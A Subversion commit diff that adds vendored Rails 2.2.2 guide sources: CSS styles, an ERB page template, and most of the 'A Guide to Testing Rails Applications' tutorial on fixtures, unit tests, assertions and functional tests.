+  margin-top: 0.5em;
+}
+
+.figure pre {
+  padding: 0px;
+  background: transparent;
+  border: none;
+  font-size: small;
+  font-family: mono;
+}
+
+.figure .lineno {
+  text-align: right;
+  color: #B00;
+  font-family: mono;
+  font-size: small;
+  padding-right: 1em;
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/templates/guides.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/templates/guides.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/templates/guides.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,97 @@
+<%-
+	manuals_index_url = ENV['MANUALSONRAILS_INDEX_URL'] || "index.html"
+	show_toc = ENV['MANUALSONRAILS_TOC'] != 'no'
+-%>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title><%- if multi_page? && !is_preamble? -%><%=h current_chapter.plain_title %> :: <% end %><%=h title %></title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		<%= include_file('inline.css') %>
+	</style>
+</head>
+<body>
+	<div id="header" <% if !show_toc %> class="notoc"<% end %>>
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container"<% if !show_toc %> class="notoc"<% end %>>
+		<% if show_toc %>
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<%- if multi_page? -%>
+				<a href="<%=h chapters.first.basename %>">Preamble</a>
+			<%- end -%>
+			<ol>
+			<%- if multi_page? -%>
+				<%- for heading in table_of_contents -%>
+					<li>
+					<a href="<%=h heading.basename %>"><%= heading.title_without_numbers %></a>
+					<%- if !heading.children.empty? -%>
+						<ul>
+						<% for h in heading.children %>
+							<li><a href="<%=h h.basename %><%=h h.anchor %>"><%= h.title_without_numbers %></a></li>
+						<% end %>
+						</ul>
+					<%- end -%>
+					</li>
+				<%- end -%>
+			<%- else -%>
+				<%- for heading in table_of_contents -%>
+					<li>
+					<a href="<%=h heading.anchor %>"><%= heading.title_without_numbers %></a>
+					<%- if !heading.children.empty? -%>
+						<ul>
+						<% for h in heading.children %>
+							<li><a href="<%=h h.anchor %>"><%= h.title_without_numbers %></a></li>
+						<% end %>
+						</ul>
+					<%- end -%>
+					</li>
+				<%- end -%>
+			<%- end -%>
+			</ol>
+		</div>
+		<% end %>
+		<div id="content">
+			<%- if multi_page? && !is_preamble? -%>
+				<h2 id="<%=h current_chapter.anchor_id %>"><%= current_chapter.title %></h2>
+			<%- else -%>
+				<h1><%=h title %></h1>
+			<%- end -%>
+			<%= contents %>
+			<%- if multi_page? -%>
+			<div id="chapter_navigation">
+				<%- if prev_chapter -%>
+					<div class="left-floaty">
+					<a href="<%=h prev_chapter.basename %>">&laquo; <%= prev_chapter.title %></a>
+					</div>
+				<%- end -%>
+				<%- if next_chapter -%>
+					<div class="right-floaty">
+					<a href="<%=h next_chapter.basename %>"><%= next_chapter.title %> &raquo;</a>
+					</div>
+				<%- end -%>
+			</div>
+			<%- end -%>
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/templates/inline.css
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/templates/inline.css	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/templates/inline.css	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,165 @@
+div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/testing_rails_applications.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/testing_rails_applications.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/testing_rails_applications.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,995 @@
+A Guide to Testing Rails Applications
+=====================================
+
+This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to:
+
+* Understand Rails testing terminology
+* Write unit, functional and integration tests for your application
+* Identify other popular testing approaches and plugins
+
+This guide won't teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things.
+
+== Why Write Tests for your Rails Applications? ==
+
+ * Rails makes it super easy to write your tests. It starts by producing skeleton test code in background while you are creating your models and controllers.
+ * By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
+ * Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
+
+== Introduction to Testing ==
+
+Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.
+
+=== The 3 Environments ===
+
+Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing.
+
+One place you'll find this distinction is in the +config/database.yml+ file. This YAML configuration file has 3 different sections defining 3 unique database setups:
+
+ * production
+ * development
+ * test
+
+This allows you to set up and interact with test data without any danger of your tests altering data from your production environment.
+
+For example, suppose you need to test your new +delete_this_user_and_every_everything_associated_with_it+ function. Wouldn't you want to run this in an environment where it makes no difference if you destroy data or not?
+
+When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running +rake db:test:prepare+.
+
+=== Rails Sets up for Testing from the Word Go ===
+
+Rails creates a +test+ folder for you as soon as you create a Rails project using +rails _application_name_+. If you list the contents of this folder then you shall see:
+
+[source,shell]
+------------------------------------------------------
+$ ls -F test/
+
+fixtures/       functional/     integration/    test_helper.rb  unit/
+------------------------------------------------------
+
+The +unit+ folder is meant to hold tests for your models, the +functional+ folder is meant to hold tests for your controllers, and the +integration+ folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the +fixtures+ folder. The +test_helper.rb+ file holds the default configuration for your tests.
+
+=== The Low-Down on Fixtures ===
+
+For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.
+
+==== What Are Fixtures? ====
+
+_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume one of two formats: *YAML* or *CSV*. In this guide we will use *YAML* which is the preferred format.
+
+You'll find fixtures under your +test/fixtures+ directory. When you run +script/generate model+ to create a new model, fixture stubs will be automatically created and placed in this directory.
+
+==== YAML ====
+
+YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the *.yml* file extension (as in +users.yml+).
+
+Here's a sample YAML fixture file:
+
+[source,ruby]
+---------------------------------------------
+# low & behold!  I am a YAML comment!
+david:
+ name: David Heinemeier Hansson
+ birthday: 1979-10-15
+ profession: Systems development
+
+steve:
+ name: Steve Ross Kellock
+ birthday: 1974-09-27
+ profession: guy with keyboard
+---------------------------------------------
+
+Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column.
+
+==== ERb'in It Up ====
+
+ERb allows you embed ruby code within templates. Both the YAML and CSV fixture formats are pre-processed with ERb when you load fixtures. This allows you to use Ruby to help you generate some sample data.
+
+[source, ruby]
+--------------------------------------------------------------
+<% earth_size = 20 -%>
+mercury:
+  size: <%= earth_size / 50 %>
+  brightest_on: <%= 113.days.ago.to_s(:db) %>
+
+venus:
+  size: <%= earth_size / 2 %>
+  brightest_on: <%= 67.days.ago.to_s(:db) %>
+
+mars:
+  size: <%= earth_size - 69 %>
+  brightest_on: <%= 13.days.from_now.to_s(:db) %>
+--------------------------------------------------------------
+
+Anything encased within the
+
+[source, ruby]
+------------------------
+<% %>
+------------------------
+
+tag is considered Ruby code. When this fixture is loaded, the +size+ attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The +brightest_on+ attribute will also be evaluated and formatted by Rails to be compatible with the database.
+
+==== Fixtures in Action ====
+
+Rails by default automatically loads all fixtures from the 'test/fixtures' folder for your unit and functional test. Loading involves three steps:
+
+ * Remove any existing data from the table corresponding to the fixture
+ * Load the fixture data into the table
+ * Dump the fixture data into a variable in case you want to access it directly
+
+==== Hashes with Special Powers ====
+
+Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example:
+
+[source, ruby]
+--------------------------------------------------------------
+# this will return the Hash for the fixture named david
+users(:david)
+
+# this will return the property for david called id
+users(:david).id
+--------------------------------------------------------------
+
+Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class.
+
+[source, ruby]
+--------------------------------------------------------------
+# using the find method, we grab the "real" david as a User
+david = users(:david).find
+
+# and now we have access to methods only available to a User class
+email(david.girlfriend.email, david.location_tonight)
+--------------------------------------------------------------
+
+== Unit Testing your Models ==
+
+In Rails, unit tests are what you write to test your models.
+
+For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practises. I will be using examples from this generated code and would be supplementing it with additional examples where necessary.
+
+NOTE: For more information on Rails _scaffolding_, refer to link:../getting_started_with_rails.html[Getting Started with Rails]
+
+When you use +script/generate scaffold+, for a resource among other things it creates a test stub in the +test/unit+ folder:
+
+-------------------------------------------------------
+$ script/generate scaffold post title:string body:text
+...
+create  app/models/post.rb
+create  test/unit/post_test.rb
+create  test/fixtures/posts.yml
+...
+-------------------------------------------------------
+
+The default test stub in +test/unit/post_test.rb+ looks like this:
+
+[source,ruby]
+--------------------------------------------------
+require 'test_helper'
+
+class PostTest < ActiveSupport::TestCase
+  # Replace this with your real tests.
+  def test_truth
+    assert true
+  end
+end
+--------------------------------------------------
+
+A line by line examination of this file will help get you oriented to Rails testing code and terminology.
+
+[source,ruby]
+--------------------------------------------------
+require 'test_helper'
+--------------------------------------------------
+
+As you know by now that `test_helper.rb` specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
+
+[source,ruby]
+--------------------------------------------------
+class PostTest < ActiveSupport::TestCase
+--------------------------------------------------
+
+The +PostTest+ class defines a _test case_ because it inherits from +ActiveSupport::TestCase+. +PostTest+ thus has all the methods available from +ActiveSupport::TestCase+. You'll see those methods a little later in this guide.
+
+[source,ruby]
+--------------------------------------------------
+def test_truth
+--------------------------------------------------
+
+Any method defined within a test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run. 
+
+[source,ruby]
+--------------------------------------------------
+assert true
+--------------------------------------------------
+
+This line of code is called an _assertion_. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:
+
+* is this value = that value? 
+* is this object nil? 
+* does this line of code throw an exception? 
+* is the user's password greater than 5 characters? 
+
+Every test contains one or more assertions. Only when all the assertions are successful the test passes.
+
+=== Preparing you Application for Testing ===
+
+Before you can run your tests you need to ensure that the test database structure is current. For this you can use the following rake commands:
+
+[source, shell]
+-------------------------------------------------------
+$ rake db:migrate
+...
+$ rake db:test:load
+-------------------------------------------------------
+
+Above +rake db:migrate+ runs any pending migrations on the _developemnt_ environment and updates +db/schema.rb+. +rake db:test:load+ recreates the test database from the current db/schema.rb. On subsequent attempts it is a good to first run +db:test:prepare+ as it first checks for pending migrations and warns you appropriately.
+
+NOTE: +db:test:prepare+ will fail with an error if db/schema.rb doesn't exists.
+
+==== Rake Tasks for Preparing you Application for Testing ==
+
+[grid="all"]
+--------------------------------`----------------------------------------------------
+Tasks                           Description
+------------------------------------------------------------------------------------
++rake db:test:clone+            Recreate the test database from the current environment's database schema
++rake db:test:clone_structure+  Recreate the test databases from the development structure
++rake db:test:load+             Recreate the test database from the current +schema.rb+
++rake db:test:prepare+          Check for pending migrations and load the test schema
++rake db:test:purge+            Empty the test database.
+------------------------------------------------------------------------------------
+
+TIP: You can see all these rake tasks and their descriptions by running +rake --tasks --describe+
+
+=== Running Tests ===
+
+Running a test is as simple as invoking the file containing the test cases through Ruby:
+
+[source, shell]
+-------------------------------------------------------
+$ cd test
+$ ruby unit/post_test.rb 
+
+Loaded suite unit/post_test
+Started
+.
+Finished in 0.023513 seconds.
+
+1 tests, 1 assertions, 0 failures, 0 errors
+-------------------------------------------------------
+
+This will run all the test methods from the test case.
+
+You can also run a particular test method from the test case by using the +-n+ switch with the +test method name+.
+
+-------------------------------------------------------
+$ ruby unit/post_test.rb -n test_truth
+
+Loaded suite unit/post_test
+Started
+.
+Finished in 0.023513 seconds.
+
+1 tests, 1 assertions, 0 failures, 0 errors
+-------------------------------------------------------
+
+The +.+ (dot) above indicates a passing test. When a test fails you see an +F+; when a test throws an error you see an +E+ in its place. The last line of the output is the summary. 
+
+To see how a test failure is reported, you can add a failing test to the +post_test.rb+ test case.
+
+[source,ruby]
+--------------------------------------------------
+def test_should_not_save_post_without_title
+  post = Post.new
+  assert !post.save
+end
+--------------------------------------------------
+
+Let us run this newly added test.
+
+-------------------------------------------------------
+$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
+Loaded suite unit/post_test
+Started
+F
+Finished in 0.197094 seconds.
+
+  1) Failure:
+test_should_not_save_post_without_title(PostTest)
+    [unit/post_test.rb:11:in `test_should_not_save_post_without_title'
+     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
+     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
+<false> is not true.
+
+1 tests, 1 assertions, 1 failures, 0 errors
+-------------------------------------------------------
+
+In the output, +F+ denotes a failure. You can see the corresponding trace shown under +1)+ along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here:
+
+[source,ruby]
+--------------------------------------------------
+def test_should_not_save_post_without_title
+  post = Post.new
+  assert !post.save, "Saved the post without a title"
+end
+--------------------------------------------------
+
+Running this test shows the friendlier assertion message:
+
+-------------------------------------------------------
+$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
+Loaded suite unit/post_test
+Started
+F
+Finished in 0.198093 seconds.
+
+  1) Failure:
+test_should_not_save_post_without_title(PostTest)
+    [unit/post_test.rb:11:in `test_should_not_save_post_without_title'
+     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
+     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
+Saved the post without a title.
+<false> is not true.
+
+1 tests, 1 assertions, 1 failures, 0 errors
+-------------------------------------------------------
+
+Now to get this test to pass we can add a model level validation for the _title_ field.
+
+[source,ruby]
+--------------------------------------------------
+class Post < ActiveRecord::Base
+  validates_presence_of :title
+end
+--------------------------------------------------
+
+Now the test should pass. Let us verify by running the test again:
+
+-------------------------------------------------------
+$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
+Loaded suite unit/post_test
+Started
+.
+Finished in 0.193608 seconds.
+
+1 tests, 1 assertions, 0 failures, 0 errors
+-------------------------------------------------------
+
+Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD). 
+
+TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with link:http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html[15 TDD steps to create a Rails application].
+
+To see how an error gets reported, here's a test containing an error:
+
+[source,ruby]
+--------------------------------------------------
+def test_should_report_error
+  # some_undefined_variable is not defined elsewhere in the test case
+  some_undefined_variable
+  assert true
+end
+--------------------------------------------------
+
+Now you can see even more output in the console from running the tests:
+
+-------------------------------------------------------
+$ ruby unit/post_test.rb -n test_should_report_error
+Loaded suite unit/post_test
+Started
+E
+Finished in 0.195757 seconds.
+
+  1) Error:
+test_should_report_error(PostTest):
+NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x2cc9de8>
+    /opt/local/lib/ruby/gems/1.8/gems/actionpack-2.1.1/lib/action_controller/test_process.rb:467:in `method_missing'
+    unit/post_test.rb:16:in `test_should_report_error'
+    /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
+    /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run'
+
+1 tests, 0 assertions, 0 failures, 1 errors
+-------------------------------------------------------
+
+Notice the 'E' in the output. It denotes a test with error. 
+
+NOTE: The execution of each test method stops as soon as any error or a assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
+
+=== What to Include in Your Unit Tests ===
+
+Ideally you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
+
+=== Assertions Available ===
+
+By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
+
+There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with +test/unit+, the testing library used by Rails. The +[msg]+ parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
+
+[grid="all"]
+`-----------------------------------------------------------------`------------------------------------------------------------------------
+Assertion                                                         Purpose
+------------------------------------------------------------------------------------------------------------------------------------------
++assert( boolean, [msg] )+                                        Ensures that the object/expression is true.
++assert_equal( obj1, obj2, [msg] )+                               Ensures that +obj1 == obj2+ is true.
++assert_not_equal( obj1, obj2, [msg] )+                           Ensures that +obj1 == obj2+ is false.
++assert_same( obj1, obj2, [msg] )+			                      Ensures that +obj1.equal?(obj2)+ is true.
++assert_not_same( obj1, obj2, [msg] )+                            Ensures that +obj1.equal?(obj2)+ is false.
++assert_nil( obj, [msg] )+                                        Ensures that +obj.nil?+ is true.
++assert_not_nil( obj, [msg] )+                                    Ensures that +obj.nil?+ is false.
++assert_match( regexp, string, [msg] )+                           Ensures that a string matches the regular expression.
++assert_no_match( regexp, string, [msg] )+                        Ensures that a string doesn't matches the regular expression.
++assert_in_delta( expecting, actual, delta, [msg] )+              Ensures that the numbers `expecting` and `actual` are within `delta` of each other.
++assert_throws( symbol, [msg] ) { block }+                        Ensures that the given block throws the symbol.
++assert_raises( exception1, exception2, ... ) { block }+          Ensures that the given block raises one of the given exceptions.
++assert_nothing_raised( exception1, exception2, ... ) { block }+  Ensures that the given block doesn't raise one of the given exceptions.
++assert_instance_of( class, obj, [msg] )+                         Ensures that +obj+ is of the +class+ type.
++assert_kind_of( class, obj, [msg] )+                             Ensures that +obj+ is or descends from +class+.
++assert_respond_to( obj, symbol, [msg] )+                         Ensures that +obj+ has a method called +symbol+.
++assert_operator( obj1, operator, obj2, [msg] )+                  Ensures that +obj1.operator(obj2)+ is true.
++assert_send( array, [msg] )+                                     Ensures that executing the method listed in +array[1]+ on the object in +array[0]+ with the parameters of +array[2 and up]+ is true. This one is weird eh?
++flunk( [msg] )+                                                  Ensures failure. This is useful to explicitly mark a test that isn't finished yet.
+------------------------------------------------------------------------------------------------------------------------------------------
+
+Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
+
+NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial.
+
+=== Rails Specific Assertions ===
+
+Rails adds some custom assertions of its own to the +test/unit+ framework:
+
+[grid="all"]
+`----------------------------------------------------------------------------------`-------------------------------------------------------
+Assertion                                                                          Purpose
+------------------------------------------------------------------------------------------------------------------------------------------
++assert_valid(record)+                                                             Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.
++assert_difference(expressions, difference = 1, message = nil) {|| ...}+           Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.
++assert_no_difference(expressions, message = nil, &block)+                          Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.
++assert_recognizes(expected_options, path, extras={}, message=nil)+                 Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.
++assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)+   Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.
++assert_response(type, message = nil)+                                              Asserts that the response comes with a specific status code. You can specify +:success+ to indicate 200,  +:redirect+ to indicate 300-399, +:missing+ to indicate 404, or +:error+ to match the 500-599 range
++assert_redirected_to(options = {}, message=nil)+                                   Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that +assert_redirected_to(:controller => "weblog")+ will also match the redirection of +redirect_to(:controller => "weblog", :action => "show")+ and so on.
++assert_template(expected = nil, message=nil)+                                      Asserts that the request was rendered with the appropriate template file.
+------------------------------------------------------------------------------------------------------------------------------------------
+
+You'll see the usage of some of these assertions in the next chapter.
+
+== Functional Tests for Your Controllers ==
+
+In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view. 
+
+=== What to include in your Functional Tests ===
+
+You should test for things such as:
+
+ * was the web request successful?
+ * was the user redirected to the right page?
+ * was the user successfully authenticated?
+ * was the correct object stored in the response template?
+ * was the appropriate message displayed to the user in the view
+
+Now that we have used Rails scaffold generator for our +Post+ resource, it has already created the controller code and functional tests. You can take look at the file +posts_controller_test.rb+ in the +test/functional+ directory.
+
+Let me take you through one such test, +test_should_get_index+ from the file +posts_controller_test.rb+.
+
+[source,ruby]
+--------------------------------------------------
+def test_should_get_index
+  get :index
+  assert_response :success
+  assert_not_nil assigns(:posts)
+end
+--------------------------------------------------
+
+In the +test_should_get_index+ test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid +posts+ instance variable. 
+
+The +get+ method kicks off the web request and populates the results into the response. It accepts 4 arguments:
+
+* The action of the controller you are requesting. This can be in the form of a string or a symbol. 
+* An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
+* An optional hash of session variables to pass along with the request.
+* An optional hash of flash values.
+
+Example: Calling the +:show+ action, passing an +id+ of 12 as the +params+ and setting a +user_id+ of 5 in the session:
+
+[source,ruby]
+--------------------------------------------------
+get(:show, {'id' => "12"}, {'user_id' => 5})
+--------------------------------------------------
+
+Another example: Calling the +:view+ action, passing an +id+ of 12 as the +params+, this time with no session, but with a flash message.
+
+[source,ruby]
+--------------------------------------------------
+get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
+--------------------------------------------------
+
+NOTE: If you try running +test_should_create_post+ test from +posts_controller_test.rb+ it will fail on account of the newly added model level validation and rightly so.
+
+Let us modify +test_should_create_post+ test in +posts_controller_test.rb+ so that all our test pass:
+
+[source,ruby]
+--------------------------------------------------
+def test_should_create_post
+  assert_difference('Post.count') do
+    post :create, :post => { :title => 'Some title'}
+  end
+
+  assert_redirected_to post_path(assigns(:post))
+end
+--------------------------------------------------
+
+Now you can try running all the tests and they should pass.
+
+=== Available Request Types for Functional Tests ===
+
+If you're familiar with the HTTP protocol, you'll know that +get+ is a type of request. There are 5 request types supported in Rails functional tests:
+
+* +get+
+* +post+
+* +put+
+* +head+
+* +delete+
+
+All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.
+
+=== The 4 Hashes of the Apocalypse ===
+
+After a request has been made by using one of the 5 methods (+get+, +post+, etc.) and processed, you will have 4 Hash objects ready for use:
+
+* +assigns+ - Any objects that are stored as instance variables in actions for use in views.
+* +cookies+ - Any cookies that are set.
+* +flash+ - Any objects living in the flash.
+* +session+ - Any object living in session variables.
+
+As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for +assigns+. For example:
+
+[source,ruby]
+--------------------------------------------------
+  flash["gordon"]               flash[:gordon]
+  session["shmession"]          session[:shmession]
+  cookies["are_good_for_u"]     cookies[:are_good_for_u]
+
+# Because you can't use assigns[:something] for historical reasons:
+  assigns["something"]          assigns(:something)
+--------------------------------------------------
+
+=== Instance Variables Available ===
+
+You also have access to three instance variables in your functional tests:
+
+* + at controller+ - The controller processing the request
+* + at request+ - The request
+* + at response+ - The response
+
+=== A Fuller Functional Test Example
+
+Here's another example that uses +flash+, +assert_redirected_to+, and +assert_difference+:
+
+[source,ruby]
+--------------------------------------------------
+def test_should_create_post
+  assert_difference('Post.count') do
+    post :create, :post => { :title => 'Hi', :body => 'This is my first post.'}
+  end
+  assert_redirected_to post_path(assigns(:post))
+  assert_equal 'Post was successfully created.', flash[:notice]
+end
+--------------------------------------------------
+
+=== Testing Views ===
+
+Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The +assert_select+ assertion allows you to do this by using a simple yet powerful syntax.
+
+NOTE: You may find references to +assert_tag+ in other documentation, but this is now deprecated in favor of +assert_select+.
+
+There are two forms of +assert_select+:
+
++assert_select(selector, [equality], [message])`+ ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an +HTML::Selector+ object.
+
++assert_select(element, selector, [equality], [message])+ ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of +HTML::Node+) and its descendants.
+
+For example, you could verify the contents on the title element in your response with:
+
+[source,ruby]
+--------------------------------------------------
+assert_select 'title', "Welcome to Rails Testing Guide"
+--------------------------------------------------
+
+You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ will run the assertion on each element selected by the outer `assert_select` block:
+
+[source,ruby]
+--------------------------------------------------
+assert_select 'ul.navigation' do
+  assert_select 'li.menu_item'
+end
+--------------------------------------------------
+
+The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its link:http://api.rubyonrails.com/classes/ActionController/Assertions/SelectorAssertions.html#M000749[documentation].
+
